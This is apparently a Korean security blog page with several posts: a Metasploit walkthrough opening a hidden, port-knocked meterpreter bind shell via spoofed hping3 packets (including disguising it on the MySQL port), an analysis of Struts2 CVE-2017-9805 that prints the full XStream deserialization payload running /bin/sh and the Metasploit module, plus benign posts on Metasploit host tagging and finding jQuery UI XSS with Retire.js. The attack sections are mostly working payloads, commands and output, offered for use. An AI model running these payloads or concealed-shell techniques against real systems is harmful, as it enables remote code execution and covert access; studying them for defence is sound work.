임의의 IP 지정 후 hping 등을 이용해 spoofing 된 패킷을 던져 meterpreter를 활성화 할 수 있습니다.

공격을 수행해보면.. session 이 맺어지지 않습니다.

HAHWUL exploit(easyfilesharing_post) > set KHOST 6.6.6.6
KHOST => 6.6.6.6
HAHWUL exploit(easyfilesharing_post) > exploit -z

[*] Started bind handler
[*] Exploit completed, but no session was created.

왜냐하면.. 아직 knock가 이루어지지 않았기 때문이죠. 현재 이 상태일 때 해당 포트는 closed 로 나타납니다.

HAHWUL exploit(easyfilesharing_post) > db_nmap -PN 192.168.56.101 -p 4444
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:10 KST
[*] Nmap: Nmap scan report for 192.168.56.101
[*] Nmap: Host is up (0.00064s latency).
[*] Nmap: PORT     STATE  SERVICE
[*] Nmap: 4444/tcp closed krb524
[*] Nmap: MAC Address: 08:00:27:69:14:FF (Oracle VirtualBox virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

제가 KHOST로 지정한 6.6.6.6에서 패킷이 오기 전까지는 이 친구는 의미없는 포트가 되지요.

HAHWUL exploit(easyfilesharing_post) > hping3 -S -p 4444 192.168.56.101 -c 1
[*] exec: hping3 -S -p 4444 192.168.56.101 -c 1


--- 192.168.56.101 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 3.7/3.7/3.7 ms
HPING 192.168.56.101 (vboxnet0 192.168.56.101): S set, 40 headers + 0 data bytes
len=40 ip=192.168.56.101 ttl=128 DF id=3300 sport=4444 flags=RA seq=0 win=8192 rtt=3.7 ms

6.6.6.6이 아닌 ip에선 열심히 패킷을 보내도.. 의미가 없습니다.
그럼 이제 KHOST에서 knock를 해볼까요?

HAHWUL exploit(easyfilesharing_post) > hping3 -S -p 4444 192.168.56.101 -c 1 --spoof 6.6.6.6
[*] exec: hping3 -S -p 4444 192.168.56.101 -c 1 --spoof 6.6.6.6


--- 192.168.56.101 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 3.9/3.9/3.9 ms
HPING 192.168.56.101 (vboxnet0 192.168.56.101): S set, 40 headers + 0 data bytes
len=44 ip=192.168.56.101 ttl=128 DF id=3319 sport=4444 flags=SA seq=0 win=8192 rtt=3.9 ms

다시 nmap을 통해서 보면..

HAHWUL exploit(easyfilesharing_post) > db_nmap -PN 192.168.56.101 -p 4444
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:13 KST
[*] Nmap: Nmap scan report for 192.168.56.101
[*] Nmap: Host is up (0.00076s latency).
[*] Nmap: PORT     STATE SERVICE
[*] Nmap: 4444/tcp open  krb524
[*] Nmap: MAC Address: 08:00:27:69:14:FF (Oracle VirtualBox virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

이제 open 되었습니다.  handler를 통해 열려있는 bind 쉘로 연결하면 됩니다.

HAHWUL exploit(easyfilesharing_post) > use exploit/multi/handler 
HAHWUL exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp 
PAYLOAD => windows/meterpreter/bind_tcp

RPORT는 기본으로 4444가 맞춰져있으니 RHOST만 설정한 후 exploit 합니다.

HAHWUL exploit(handler) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
HAHWUL exploit(handler) > exploit -z
[*] Exploit running as background job 0.

[*] Started bind handler
HAHWUL exploit(handler) >
[*] Sending stage (179267 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:46811 -> 192.168.56.101:4444) at 2017-09-08 14:14:41 +0900

HAHWUL exploit(handler) > 
HAHWUL exploit(handler) > 
HAHWUL exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 
meterpreter > 
meterpreter > 

잘 되네욥 :)

Once more


사용자를 속이기 위해선 잘 알려진 포트를 활용합니다. (사실 서버 관리자라면 금방 눈치차리겠지만요..)

예를들어.. mysql 포트로 쉘

HAHWUL exploit(easyfilesharing_post) > set LPORT 3306
HAHWUL exploit(easyfilesharing_post) > exploit -z

[*] Started bind handler
[*] Exploit completed, but no session was created.

nmap -PN 192.168.56.101

Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:55 KST
Nmap scan report for 192.168.56.101
Host is up (0.0012s latency).
Not shown: 989 filtered ports
PORT      STATE  SERVICE
80/tcp    open   http
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
443/tcp   open   https
445/tcp   open   microsoft-ds
554/tcp   open   rtsp
2869/tcp  open   icslap
3306/tcp  closed mysql

역시나 Closed로 나타납니다. Exploit 진행해주고..

HAHWUL exploit(handler) > set LPORT 3306
LPORT => 3306
HAHWUL exploit(handler) > exploit -z
[*] Exploit running as background job 1.

[*] Started bind handler
HAHWUL exploit(handler) > [*] Sending stage (179267 bytes) to 192.168.56.101
[*] Meterpreter session 2 opened (192.168.56.1:44471 -> 192.168.56.101:3306) at 2017-09-08 15:03:30 +0900

윈도우에선 어떤 행위들이 나타나는지 지켜보면,

payload 로드 시 33306 포트가 대기합니다. 다만 이 친구는 정상 연결을 허용하지 않아 Closed로 나타나게 되죠.



IP Spoof된 SYN 요청 수신 시 정상 소켓 모드로 전환하고 쉘 연결을 대기합니다.


사실 크게 별다른건 없습니다. (다른거 해보려고 이미지 캡쳐뜨고 쑈했는데 아까워서 걍 한번 더 정리해봐요)

Reference

https://www.rapid7.com/db/modules/payload/windows/meterpreter/bind_hidden_ipknock_tcp
https://wiki.archlinux.org/index.php/Port_knocking
Share: | Coffee Me:

9/07/2017

[EXPLOIT] Struts2 REST Plugin XStream RCE 취약점 분석(feat msf) CVE-2017-9805 / S2-052

최근 Sturts2 RCE 취약점이 또 나와 이슈가 되었습니다. 매번 RCE 취약점으로 고생하는거보면 안쓰럽기까지 하네요. 오늘은 따끈따끈한 CVE-2017-9805(REST Plugin XStream RCE) 취약점에 대해 이야기드릴까 합니다.
기존 분석에 비해 내용이 덜 자세하긴 하지만.. 조금이나마 이해에 도움이 되길 바라네요.


What is Deserialize?


Java에서 객체에 대한 컨트롤은 Serialize, Deserialize를 통해 이루어집니다. 이를 통해 객체를 파일로 저장하고 쓰거나 네트워크 전송에 사용되기도 합니다.

Deserialize는 역직렬화로 파일에 쓰인 객체를 Java가 로드하여 사용할 수 있게 도와줍니다. 오늘 이 취약점의 문제는 Deserialize와 XML 사이의 관계에 달려있습니다.

http://www.studytonight.com/java/images/Serialization-deserialization.JPG

※ java가 아니라 다른 언어에도 유사한 함수는 많이 존재합니다.
대표적으로 .NET의 XmlSerializer.Deserialize.

https://msdn.microsoft.com/ko-kr/library/tz8csy73(v=vs.110).aspx

Vulnerabiliby

이 취약점은 REST plugin을 이용해 통신하는 과정에서 Remote Code Execute가 가능합니다. 아주 간단한 취약점인데요. REST 통신 과정에서 데이터에 대해 체크 후 deserialize 되어야하는데, 이 체크하는 과정없이 Struts에서 REST가 사용되고 있던거였죠.

위에서 설명드렸듯이 Deserialize는 파일에 저장된 객체를 불러와 데이터로 로드할 수 있습니다.

유사한 케이스로 보이는데요, Struts2에서 REST 요청을 통해 받은 XML 데이터를 Struts의 Deserialize로 읽어 사용하는데 이 과정에서 공격자가 악의적인 코드를 포함한 데이터를 REST로 전송하게 되었을 때 Deserialize되며 객체가 로드되어 명령이 실행되는 것 같습니다.

이런 형태로 공격의 흐름이 발생하지 않을까 싶습니다.

(diff 데이터나 원 공격자가 정보를 좀 더 풀어주면 좋지만.. 아직 수집하지 못해서 이정도가 최선일 것 같네요)

Analysis Poc code(Metasploit code)

취약점 등록자가 Metasploit측으로 commit을 때려놨지만, 혹시 reject되서 날라갈까봐 미리 떠두었습니다.
https://raw.githubusercontent.com/hahwul/mad-metasploit/master/modules/exploit/struts2_rest_xstream.rb

먼저 공격코드의 일부를 살펴보면

  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method' => 'POST',
      'uri'    => target_uri.path,
      'ctype'  => 'application/xml',
      'data'   => xml_payload(cmd)
    )
  end

POST로 uri에 xml 요청을 던지는게 전부입니다. uri 주소는 REST API가 되겠구요.
REST로 XML 데이터를 받은 Struts는 Deserialize를 진행하고 그 과정에서 객체가 로드되어 동작하게 됩니다.
(REST로 오는 요청의 XML에 대해서 검증하는 부분이 추가되면 패치되겠네요)

Payload xml에는 아래와 같은 코드가 있습니다.

<next class="java.lang.ProcessBuilder">
  <command>
    <string>/bin/sh</string><string>-c</string><string>#{cmd}</string>
  </command>
  <redirectErrorStream>false</redirectErrorStream>
</next>

java.lang.ProcessBuilder를 가지고 /bin/sh를 실행시키고, #{cmd}는 공격코드쪽 부분인데 사용자가 Payload로 지정한 부분, 즉 일반적인 경우에는 쉘을 내리는 코드가 들어가게되죠.

솔직히 생각보다 심플해서 놀랐습니다.

Payload
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/bin/sh</string><string>-c</string><string>#{cmd}</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Poc test(Metasploit code)

Metasploit에 아직 공식 코드가 올라오지 않았기 때문에 코드를 받아 msf에 적용해줍니다.

#> wget https://raw.githubusercontent.com/hahwul/mad-metasploit/master/modules/exploit/struts2_rest_xstream.rb
#> mv struts2_rest_xstream.rb /[your_msf_exploit_dir]

모든 준비는 끝났고 struts2_rest_xstream을 로드합니다.

HAHWUL > use exploit/multi/http/struts2_rest_xstream 
HAHWUL exploit(struts2_rest_xstream) > show options

Module options (exploit/multi/http/struts2_rest_xstream):

   Name       Current Setting                  Required  Description
   ----       ---------------                  --------  -----------
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                                       yes       The target address
   RPORT      8080                             yes       The target port (TCP)
   SRVHOST    0.0.0.0                          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080                             yes       The local port to listen on.
   SSL        false                            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /struts2-rest-showcase/orders/3  yes       Path to Struts app
   URIPATH                                     no        The URI to use for this exploit (default is random)
   VHOST                                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter_reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The local listener hostname
   LPORT  8443             yes       The local listener port
   LURI                    no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Apache Struts 2.5 - 2.5.12

옵션에 특별한 부분은 없네요.

Simple Poc

간단하게 루비로 짜뒀습니다. go로 짜신분도 계시네요()

[RUBY] https://github.com/hahwul/struts2-rce-cve-2017-9805-ruby
[GO] https://github.com/luc10/struts-rce-cve-2017-9805

Reference

https://msdn.microsoft.com/ko-kr/library/tz8csy73(v=vs.110).aspx
Share: | Coffee Me:

9/05/2017

[METASPLOIT] Customize column and tagging at "rhosts" command on metasploit

metasploit에서 hosts 명령은 아주 중요한 명령입니다. 타겟에 대한 관리부터, exploit 시 좀 더 편하게 타겟을 RHOSTS에 넣을 수 있어 많이들 사용하시고, 앞으로도 쭉 사용할 수 밖에 없는 기능이죠.

오늘은 hosts 명령에서 열(column) 값을 custom 하고 tag 옵션을 이용해서 조금 더 효율적으로 관리하는 방법에 대해 이야기할까 합니다.

HAHWUL > hosts -h


1. custom column

보편적으로 -c 옵션은 hosts에서 원하는 column만 볼 수 있게 해주는 옵션입니다. 기본 hosts 명령을 날리면

HAHWUL > hosts

Hosts
=====

address         mac                name    os_name    os_flavor  os_sp            purpose  info  comments
-------         ---                ----    -------    ---------  -----            -------  ----  --------
192.168.56.88                       Lee                                                           Lee
192.168.56.139                       Kim     Linux                 3.10.40-4192068  server         Kim
192.168.56.101  08:00:27:69:14:ff  HAHWUL  Windows 7             SP1              client

위와 같이 address, mac, name, os_name, os_flavor, os_sp, purpose, info, comments의 값들이 나타납니다. 그러나 실제로 hosts 가 지원하는 column의 갯수는 더 많습니다.

address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags

원하는 column의 데이트를 보기 위해선 -c 옵션을 통해 원하는 값들을 넘겨주어야 합니다.

HAHWUL > hosts -c 'name,address,state,service_count,os_name,mac,os_sp'

Hosts
=====

name    address         state  service_count  os_name    mac                os_sp
----    -------         -----  -------------  -------    ---                -----
HAHWUL  192.168.56.101  alive  9              Windows 7  08:00:27:69:14:ff  SP1
Kim     192.168.56.139    alive  0              Linux                         3.10.40-4192068
Lee     192.168.56.88    alive  0                                          

원하는 정보만 추려서 보기 굉장히 좋습니다. 그러나.. 매번 입력마다 -c 옵션으로 값을 넘겨주기는 매우 번거롭습니다.


자주쓰는거끼리 모아서 rc 파일로 만들어놓으면 좋습니다.

ahosts.rc
hosts -c 'name,address,state,service_count,os_name,mac,os_sp'

그래서 간단하게 하나 짜보면..

<ruby>

rtype = Array.new(4)
rtype[0] = "'name,address,state,service_count,os_name,mac,os_sp,tags'"
rtype[1] = "'name,address,os_name,mac,tags,virtual_host'"
rtype[2] = "'name,address,services_count,vuln_count,cred_count,host_detail_count'"
rtype[3] = "'address,arch,comm,comments,created_at,cred_count,detected_arch,exploit_attempt_count,host_detail_count,info,mac,name,note_count,os_family,os_flavor,os_lang,os_name,os_sp,purpose,scope,service_count,state,updated_at,virtual_host,vuln_count,tags'"

puts " - [0] #{rtype[0]}"
puts " - [1] #{rtype[1]}"
puts " - [2] #{rtype[2]}"
puts " - [3] #{rtype[3]}"

print_status "Input type"
typ = gets.chomp

case typ
when "0"
   self.run_single("hosts -c "+rtype[0])
when "1"
   self.run_single("hosts -c "+rtype[1])
when "2"
   self.run_single("hosts -c "+rtype[2])
when "3"
   self.run_single("hosts -c "+rtype[3])
else
   print_error "Wrong choice"
end
</ruby>



입맛에 맞게 바꿔써 쓰시면 좋을 것 같네요~

추가로 column들은 -O 옵션으로 정렬해서 보거나 -S 옵션으로 검색 시 유용합니다.

2. tagging


hosts 명령에서 info, name, comment는 평소에도 많이 이용하던 것들인데, 오늘 tag에 대해 사용해보니 매력적인 친구라고 느꼈습니다. (미리 알았더라면.. 무지함)

SNS에서 hash tag들 많이 사용하시죠? tag는 각 객체가 어떠한 속성들, 값들 , 뭐 여러가지 것들을 지녔는지 표기해주기 아주 좋습니다. metasploit에서 지원하는 tag의 기능도 비슷한 역할을 수행합니다.

hosts 명령의 -t 옵션으로 태그 지정이 가능합니다. 아래 간단하게 2개의 host에 대해 각각 tag를 지정합니다.

HAHWUL > hosts 192.168.56.88 -t "Admin_access_user"
HAHWUL > hosts 192.168.56.139 -t "DB_access_user"

나중에 권한별로 정리하기에 매우 유용하겠지요. 여기서 아까 위에서 이야기한 column을 건드려 tag 내용을 볼 수 있습니다.  comment와 비슷하지만 약간 차이를 가집니다.

HAHWUL > hosts -c 'address,name,os_name,info,comments,tags'

Hosts
=====

address         name    os_name    info  comments  tags
-------         ----    -------    ----  --------  ----
192.168.56.88    Lee                      Lee       Admin_access_user
192.168.56.139    Kim     Linux            Kim       DB_access_user
192.168.56.101  HAHWUL  Windows 7

tag는 여러개 지정이 가능합니다. 아래와 같이 DB_access_user tag를 가진 host에 Admin_access_user tag를 붙여주면..


HAHWUL > hosts 192.168.56.139 -t "Admin_access_user"
HAHWUL > hosts -c 'address,name,os_name,info,comments,tags'

Hosts
=====

address         name    os_name    info  comments  tags
-------         ----    -------    ----  --------  ----
192.168.56.88    Lee                      Lee       Admin_access_user
192.168.56.139    Kim     Linux            Kim       Admin_access_user, DB_access_user
192.168.56.101  HAHWUL  Windows 7                

Kim은 2개의 태그를 지니게 됩니다. 이 태그들로 검색 시 원하는 자료만 쏙 빼서 볼 수 있죠.


HAHWUL > hosts -S Admin_access_user

Hosts
=====

address       mac  name  os_name  os_flavor  os_sp            purpose  info  comments
-------       ---  ----  -------  ---------  -----            -------  ----  --------
192.168.56.88       Lee                                                       Lee
192.168.56.139       Kim   Linux               3.10.40-4192068  server         Kim

hosts의 -R옵션으로 로 데이터를 한번에 집어넣때 동일하게 -t 옵션 사용이 가능합니다. 물론 이건 다른 -R 옵션에서도 많이 쓰는 방법이니 바로 손에 익을 것 같네요.

hosts -R "192.168.56.100-192.168.56.121" -t Admin_access_user

태그를 지울땐 host를 지울때와 동일하게 -d 옵션을 주되, -t 를 같이 주어 삭제가 가능합니다.

HAHWUL > hosts -c 'name,address,state,service_count,os_name,mac,os_sp,tags'

Hosts
=====

name    address         state  service_count  os_name    mac                os_sp            tags
----    -------         -----  -------------  -------    ---                -----            ----
HAHWUL  192.168.56.101  alive  9              Windows 7  08:00:27:69:14:ff  SP1            
Kim     192.168.56.139    alive  0              Linux                         3.10.40-4192068  Admin_access_user, DB_access_user
Lee     192.168.56.88    alive  0                                                             Admin_access_user

HAHWUL > 
HAHWUL > 
HAHWUL > hosts -d -t 'Admin_access_user' 192.168.56.139
HAHWUL > hosts -c 'name,address,state,service_count,os_name,mac,os_sp,tags'

Hosts
=====

name    address         state  service_count  os_name    mac                os_sp            tags
----    -------         -----  -------------  -------    ---                -----            ----
HAHWUL  192.168.56.101  alive  9              Windows 7  08:00:27:69:14:ff  SP1            
Kim     192.168.56.139    alive  0              Linux                         3.10.40-4192068  DB_access_user
Lee     192.168.56.88    alive  0                                                             Admin_access_user
Share: | Coffee Me:

[WEB HACKING] Retire.js를 이용해 JS Library 취약점 찾기

오늘은 웹 해킹에 유용한 Browser Extension이자 분석툴의 plugin, 독자적으로 동작하는 Node.js app인 Retire.js에 대한 이야기를 할까 합니다. 써온지는 조금 됬으나 어느순간부터 Extension과 툴에 대한 소개를 좀 덜하게 되다보니 좋은 툴인데 이제서야 공유드리게 되네요.

이 프로그램은 웹 분석 시 많은 노가다 부분을 제거시켜주고 스캐너보다 취약 Library를 사용하는 페이지를 찾기에는 훨씬 유용합니다.


Retire.js?

Retire.js는 Javascript Library의 취약점을 찾아주는 JS Library이자, Node.js app입니다.
대체로 firefox, chrome, oprea 등 웹 브라우저의 extension으로 사용하거나 Node, Burp plugin 형태로 많이 사용하지요.

별다른 기능이 없는 것 같지만 의외로 취약점을 잘 찾아오는 프로그램 중 하나입니다.
https://retirejs.github.io/retire.js/

일단 사용할 수 있는 환경을 보면..

A command line scanner
A grunt plugin
A Chrome extension
A Firefox extension
Burp and OWASP Zap plugin

command line 에서의 분석, grunt, browser 확장기능(extension) 과 Burp, ZAP에서의 plugin 형태로 사용이 가능합니다.

오늘은 extension 위주로 이야기드리겠습니다. 각각 사용 환경 별 설치는 github의 내용 보시는게 좋을 것 같습니다.
node는 npm, 브라우저 확장기능은 각 브라우저의 extension store에서 burp,zap의 plugin은 다운로드 후 각 프로그램에서 로드하시면됩니다.


Retire.js를 이용한 취약점 분석

Retire.js 확장기능을 설치하면 브라우저에 아이콘 하나가 활성됩니다. 해당 아이콘은 웹 페이지의 load되는 js 버전을 분석 후 공개된 취약점이 있는 버전 사용 시 유저에게 노티만 해줍니다. 아래와 같이 숫자와 빨간색 불이 들어옵니다.



저 또한 jqeury 구버전을 사용하고 있는ㄴ지라..(업데이트좀하자 제발 / 왜이리 귀찮을까) 현재 공개 취약점이 존재하는 상태입니다. 다만 이 취약점들이 실제로 영향력이 있으려면 트리거될 조건이 필요하겠지요.

Retire.js를 눌러보면 description 페이지로 가는 링크가 있습니다. 눌러서 보면.. 어떤 취약점이고 어떤게 문제되는지 나오죠.



제가 사용하는 jquery-ui-dialog 1.11.2 버전은 CloseText에서 XSS가 가능한 취약점이 있습니다.
내용을 보자면..

 $(document).ready(function () {
            $('#dialog').dialog({ closeText: '<script>alert("XSS")<\/script>' });
        });

위와 같이 dialog 함수 내 closeText를 지정할 수 있는데, 이 구간에서 특수문자가 필터링되지 않아 고스란히 XSS 구문이 발동되게 되죠. 우리가 Reflected던, Stored던 closeText를 제어할 수 있는 부분이 생긴다면 XSS가 가능하단 소리입니다.

자 그럼 이제 디버거를 열고 찾아봅시다. 그냥 검색만 활용해도 많은걸 할 수 있어요.

! : 전체 파일 검색
# : 현재 파일 검색



전체검색으로 코드 내 closeText: 를 사용하는 구간이 있는지 찾아줍니다. 무조건 하나는 나옵니다. 왜냐면 jquery에서 사용했기 때문이죠. 살펴보다가 사용자단에서 closeText를 쓰는 부분이 있다면 하나 발견한겁니다.

입력이 가능하다면 잘 짜맞춰서 코드를 넣어주면. XSS가 잘 되겠지요 :)

console로 검증만 해보면, closeText로 잘 실행되네요 :)

Reference

https://retirejs.github.io/retire.js/
Share: | Coffee Me: